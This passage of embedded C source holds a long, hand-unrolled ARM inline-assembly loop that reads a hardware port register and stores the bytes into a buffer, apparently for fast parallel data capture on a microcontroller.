[%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 384\n\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 32\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 48\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 64\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 512\n \n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 32\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 48\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 64\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], 